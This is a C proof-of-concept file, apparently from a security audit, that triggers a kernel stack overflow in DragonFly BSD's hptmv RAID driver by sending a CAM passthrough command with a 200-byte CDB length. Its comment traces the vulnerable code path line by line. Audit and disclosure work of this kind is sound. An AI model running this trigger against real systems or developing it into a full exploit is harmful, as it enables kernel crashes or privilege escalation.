/* DF-3920 - hptmv OsSendCommand Cdb[16] kernel stack overflow (trigger sketch)
 *
 * Builds a CAM passthrough CCB with csio.cdb_len = 200 (> sizeof(Cdb)=16) and
 * a SCSI READ_10 opcode, and submits it via CAMIOCOMMAND on /dev/passN.
 *
 * Kernel path:
 *   passioctl (sys/bus/cam/scsi/scsi_pass.c:462)
 *     -> passsendccb -> xpt_merge_ccb (scsi_pass.c:546) copies the user CCB
 *        verbatim; cdb_len is NEVER clamped anywhere in CAM
 *     -> cam_periph_runccb -> xpt_action -> hpt_action (entry.c:2246)
 *     -> OsSendCommand (entry.c:2676), case READ_10 etc:
 *          UCHAR Cdb[16];                       // entry.c:2771
 *          CdbLength = csio->cdb_len;           // entry.c:2777, u_int8_t, <=255
 *          bcopy(csio->cdb_io.cdb_ptr, Cdb, CdbLength);  // entry.c:2782  <-- OVERFLOW
 *        up to 239 bytes of fully attacker-chosen data smash the kernel stack
 *        of OsSendCommand.
 *
 * PRECONDITIONS (why this cannot run on the audit guest):
 *   1. An hptmv (HighPoint RR1820, 11ab:5081) controller must be attached and
 *      a logical device present at target_id < MAX_VDEVICE_PER_VBUS, so the
 *      XPT_SCSI_IO reaches the hptmv SIM (hpt_action) instead of another SIM.
 *   2. /dev/passN for a device on the hptmv bus; opening it requires
 *      caps_priv_check_self(SYSCAP_RESTRICTEDROOT) (scsi_pass.c:308) and the
 *      node is 0600 root:operator -> privileged trigger.
 * The audit guest has no such hardware (see env.txt), so this is compile-only.
 *
 * Build (on a DragonFly host that has the card):   cc -Wall -o df3920 df3920.c
 * Run as root: ./df3920 <hptmv-pass-unit> 200
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_all.h>

int main(int argc, char **argv)
{
	char dev[64];
	union ccb ccb;
	int fd, unit, len, i;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <pass-unit> <cdb_len 1..255>\n", argv[0]);
		return 2;
	}
	unit = atoi(argv[1]);
	len = atoi(argv[2]);
	if (len < 1 || len > 255) { fprintf(stderr, "bad len\n"); return 2; }

	snprintf(dev, sizeof(dev), "/dev/pass%d", unit);
	fd = open(dev, O_RDWR);
	if (fd < 0) { perror("open /dev/passN"); return 1; }

	memset(&ccb, 0, sizeof(ccb));
	ccb.ccb_h.func_code = XPT_SCSI_IO;
	ccb.ccb_h.flags = CAM_DIR_IN | CAM_CDB_POINTER;
	ccb.ccb_h.timeout = 30 * 1000;
	ccb.csio.cdb_len = (u_int8_t)len;	/* <-- 200: > sizeof(Cdb)=16 in OsSendCommand */
	ccb.csio.cdb_io.cdb_ptr = ccb.csio.cdb_bytes; /* any kernel-readable addr; length is the bug */
	ccb.csio.cdb_bytes[0] = 0x28;		/* READ_10 to enter the vulnerable case */
	for (i = 1; i < 16; i++)
		ccb.csio.cdb_bytes[i] = (u_int8_t)i;	/* pattern visible in smashed stack */
	/* minimal data buffer */
	ccb.csio.data_ptr = (u_int8_t *)ccb.csio.sense_data;
	ccb.csio.dxfer_len = 0;
	ccb.csio.sglist_cnt = 0;
	ccb.csio.sense_len = 0;

	if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0)
		perror("CAMIOCOMMAND");
	printf("ccb status 0x%x\n", ccb.ccb_h.status);
	close(fd);
	return 0;
}
